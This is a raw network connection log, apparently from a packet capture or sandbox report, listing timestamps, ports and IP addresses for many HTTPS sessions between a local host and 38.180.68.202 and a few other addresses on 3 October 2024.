Oct 3, 2024 17:18:57.415142059 CEST	443	55763	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.415292978 CEST	443	55763	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.415380955 CEST	55763	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.415472031 CEST	55763	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.416623116 CEST	55763	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.416666031 CEST	443	55763	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.418793917 CEST	443	55762	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.418889999 CEST	443	55762	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.418957949 CEST	55762	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.420588970 CEST	55762	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.420603991 CEST	443	55762	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.421971083 CEST	55766	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.422014952 CEST	443	55766	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.422102928 CEST	55766	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.422255993 CEST	55767	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.422303915 CEST	443	55767	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.422368050 CEST	55767	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.422468901 CEST	55766	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.422485113 CEST	443	55766	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.422648907 CEST	55767	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.422669888 CEST	443	55767	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.521903038 CEST	443	55761	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.521970034 CEST	443	55761	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.522022009 CEST	443	55761	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.522072077 CEST	55761	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.522094965 CEST	443	55761	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.522110939 CEST	55761	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.522171974 CEST	55761	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.522205114 CEST	443	55761	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.522269011 CEST	55761	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.522274017 CEST	443	55761	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.522358894 CEST	443	55761	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.522417068 CEST	55761	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.522660971 CEST	55761	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.522674084 CEST	443	55761	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.546864033 CEST	55768	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:57.546914101 CEST	443	55768	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:57.547015905 CEST	55768	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:57.547238111 CEST	55768	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:57.547252893 CEST	443	55768	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:57.568861008 CEST	55769	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.568907022 CEST	443	55769	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.568967104 CEST	55770	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.568973064 CEST	443	55770	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.568996906 CEST	55769	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.569032907 CEST	55770	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.569138050 CEST	55771	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.569200993 CEST	443	55771	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.569272041 CEST	55771	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.569492102 CEST	55769	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.569525957 CEST	443	55769	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.569638968 CEST	55770	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.569665909 CEST	443	55770	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.569761038 CEST	55771	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.569794893 CEST	443	55771	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.649630070 CEST	55773	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.649645090 CEST	443	55773	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.649729967 CEST	55773	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.649965048 CEST	55774	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.649976969 CEST	443	55774	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.650038958 CEST	55774	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.650338888 CEST	55775	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.650366068 CEST	443	55775	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.650439024 CEST	55775	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.650593042 CEST	55776	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.650604010 CEST	443	55776	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.650664091 CEST	55776	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.651083946 CEST	55773	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.651101112 CEST	443	55773	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.651427984 CEST	55774	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.651437998 CEST	443	55774	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.651770115 CEST	55775	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.651784897 CEST	443	55775	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.651912928 CEST	55776	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:57.651926041 CEST	443	55776	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:57.810244083 CEST	49682	80	192.168.2.17	192.229.211.108
Oct 3, 2024 17:18:58.034900904 CEST	443	55767	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.035276890 CEST	55767	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.035315990 CEST	443	55767	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.036473989 CEST	443	55767	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.036881924 CEST	55767	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.037064075 CEST	55767	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.037066936 CEST	443	55767	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.038476944 CEST	443	55766	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.038728952 CEST	55766	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.038748026 CEST	443	55766	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.039247036 CEST	443	55766	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.039623022 CEST	55766	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.039701939 CEST	443	55766	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.039793015 CEST	55766	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.081206083 CEST	55767	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.081224918 CEST	443	55767	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.087408066 CEST	443	55766	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.185273886 CEST	443	55768	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:58.185746908 CEST	55768	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:58.185777903 CEST	443	55768	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:58.186544895 CEST	443	55768	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:58.186620951 CEST	443	55770	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.186958075 CEST	55768	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:58.187053919 CEST	443	55768	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:58.187159061 CEST	55770	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.187171936 CEST	443	55769	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.187182903 CEST	443	55770	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.187350988 CEST	55768	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:58.187506914 CEST	55769	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.187515020 CEST	443	55769	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.188230991 CEST	443	55770	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.188301086 CEST	55770	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.188663006 CEST	55770	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.188721895 CEST	443	55770	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.188803911 CEST	55770	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.188810110 CEST	443	55770	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.188934088 CEST	443	55769	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.188987970 CEST	55769	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.189371109 CEST	55769	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.189436913 CEST	443	55769	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.189526081 CEST	55769	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.189531088 CEST	443	55769	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.205573082 CEST	443	55771	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.206008911 CEST	55771	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.206075907 CEST	443	55771	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.209685087 CEST	443	55771	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.209781885 CEST	55771	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.210104942 CEST	55771	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.210289001 CEST	443	55771	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.210294008 CEST	55771	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.227404118 CEST	443	55768	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:58.240207911 CEST	55770	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.240242004 CEST	55769	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.255407095 CEST	443	55771	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.256330967 CEST	55771	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.256397009 CEST	443	55771	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.265708923 CEST	443	55776	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.265996933 CEST	55776	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.266011000 CEST	443	55776	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.267910957 CEST	443	55776	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.267996073 CEST	55776	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.268296003 CEST	55776	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.268367052 CEST	443	55776	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.268459082 CEST	55776	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.268467903 CEST	443	55776	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.271490097 CEST	443	55773	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.271708012 CEST	55773	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.271735907 CEST	443	55773	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.272753954 CEST	443	55773	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.272819996 CEST	55773	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.273364067 CEST	55773	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.273418903 CEST	443	55773	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.273509979 CEST	55773	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.273515940 CEST	443	55773	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.275532007 CEST	443	55775	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.275743008 CEST	55775	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.275757074 CEST	443	55775	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.276787043 CEST	443	55775	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.276853085 CEST	55775	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.277122974 CEST	55775	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.277178049 CEST	443	55775	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.277260065 CEST	55775	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.277267933 CEST	443	55775	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.295941114 CEST	443	55774	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.296215057 CEST	55774	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.296222925 CEST	443	55774	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.297241926 CEST	443	55774	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.297317028 CEST	55774	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.297581911 CEST	55774	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.297626019 CEST	443	55774	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.297717094 CEST	55774	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.297724009 CEST	443	55774	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.304186106 CEST	55771	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.320190907 CEST	55773	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.320197105 CEST	55775	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.320197105 CEST	55776	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.341260910 CEST	443	55767	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.341345072 CEST	443	55767	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.341406107 CEST	55767	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.342005968 CEST	55767	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.342029095 CEST	443	55767	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.342422009 CEST	55777	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.342461109 CEST	443	55777	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.342528105 CEST	55777	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.342917919 CEST	55777	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.342928886 CEST	443	55777	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.345613003 CEST	55778	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.345623970 CEST	443	55778	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.345690012 CEST	55778	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.345897913 CEST	55778	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.345906973 CEST	443	55778	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.352174044 CEST	55774	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.424393892 CEST	443	55766	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.424423933 CEST	443	55766	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.424443960 CEST	443	55766	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.424508095 CEST	55766	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.424531937 CEST	443	55766	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.424588919 CEST	55766	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.426299095 CEST	443	55766	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.426320076 CEST	443	55766	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.426387072 CEST	55766	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.426393032 CEST	443	55766	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.426424980 CEST	55766	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.478097916 CEST	443	55768	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:58.478436947 CEST	443	55768	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:58.478634119 CEST	55768	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:58.478856087 CEST	55768	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:58.478878021 CEST	443	55768	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:58.480200052 CEST	55766	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.481726885 CEST	443	55769	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.481831074 CEST	443	55769	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.481936932 CEST	55769	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.482589960 CEST	55769	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.482636929 CEST	443	55769	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.484623909 CEST	443	55770	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.484648943 CEST	443	55770	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.484700918 CEST	443	55770	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.484726906 CEST	55770	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.484756947 CEST	55770	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.487443924 CEST	55770	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.487457991 CEST	443	55770	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.512008905 CEST	443	55766	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.512042046 CEST	443	55766	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.512120008 CEST	55766	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.512131929 CEST	443	55766	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.512187958 CEST	55766	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.513869047 CEST	443	55766	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.513892889 CEST	443	55766	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.513952017 CEST	55766	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.513957977 CEST	443	55766	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.513987064 CEST	55766	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.514014006 CEST	55766	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.515990973 CEST	443	55766	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.516016960 CEST	443	55766	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.516088963 CEST	55766	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.516096115 CEST	443	55766	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.516154051 CEST	55766	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.555135965 CEST	443	55776	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.555213928 CEST	443	55776	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.555270910 CEST	55776	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.555970907 CEST	55776	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.555984974 CEST	443	55776	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.556418896 CEST	55779	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.556444883 CEST	443	55779	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.556519985 CEST	55779	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.556942940 CEST	55779	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.556956053 CEST	443	55779	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.559171915 CEST	55780	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.559218884 CEST	443	55780	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.559288979 CEST	55780	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.559484959 CEST	55780	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.559500933 CEST	443	55780	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.576626062 CEST	443	55773	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.576699018 CEST	443	55773	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.576738119 CEST	55773	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.577361107 CEST	55773	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.577374935 CEST	443	55773	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.577811956 CEST	55781	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.577840090 CEST	443	55781	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.577898979 CEST	55781	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.578360081 CEST	55781	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.578371048 CEST	443	55781	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.580585003 CEST	55782	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.580595970 CEST	443	55782	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.580646038 CEST	55782	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.580916882 CEST	55782	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.580928087 CEST	443	55782	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.593364954 CEST	443	55771	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.593391895 CEST	443	55771	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.593400002 CEST	443	55771	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.593421936 CEST	443	55771	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.593435049 CEST	443	55771	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.593449116 CEST	443	55771	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.593467951 CEST	55771	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.593482971 CEST	443	55771	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.593516111 CEST	55771	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.593542099 CEST	55771	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.593801975 CEST	443	55771	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.593858004 CEST	443	55771	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.593867064 CEST	55771	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.593910933 CEST	55771	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.594047070 CEST	55771	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.594057083 CEST	443	55771	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.594069004 CEST	55771	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.594103098 CEST	55771	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.599028111 CEST	443	55766	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.599034071 CEST	443	55774	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.599052906 CEST	443	55766	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.599091053 CEST	443	55774	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.599112988 CEST	55766	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.599133015 CEST	443	55766	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.599176884 CEST	55766	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.599201918 CEST	55774	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.599205017 CEST	55766	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.600008011 CEST	443	55766	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.600083113 CEST	55766	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.600090027 CEST	443	55766	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.600106001 CEST	443	55766	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.600152969 CEST	55766	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.600181103 CEST	55766	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.600658894 CEST	55774	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.600667000 CEST	443	55774	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.601067066 CEST	55766	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.601079941 CEST	443	55766	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.604829073 CEST	55783	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.604845047 CEST	443	55783	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.604912996 CEST	55783	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.605108023 CEST	55784	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.605139017 CEST	443	55784	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.605189085 CEST	55784	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.605387926 CEST	55783	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.605402946 CEST	443	55783	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.605598927 CEST	55784	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.605609894 CEST	443	55784	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.669256926 CEST	443	55775	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.669281006 CEST	443	55775	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.669289112 CEST	443	55775	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.669302940 CEST	443	55775	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.669332981 CEST	443	55775	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.669338942 CEST	55775	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.669361115 CEST	443	55775	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.669377089 CEST	55775	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.669387102 CEST	55775	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.669404030 CEST	55775	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.670049906 CEST	443	55775	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.670067072 CEST	443	55775	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.670109987 CEST	55775	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.670118093 CEST	443	55775	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.670142889 CEST	55775	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.719204903 CEST	55775	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.758770943 CEST	443	55775	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.758783102 CEST	443	55775	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.758809090 CEST	443	55775	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.758889914 CEST	55775	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.758905888 CEST	443	55775	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.758949041 CEST	55775	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.760643005 CEST	443	55775	38.180.68.202	192.168.2.17
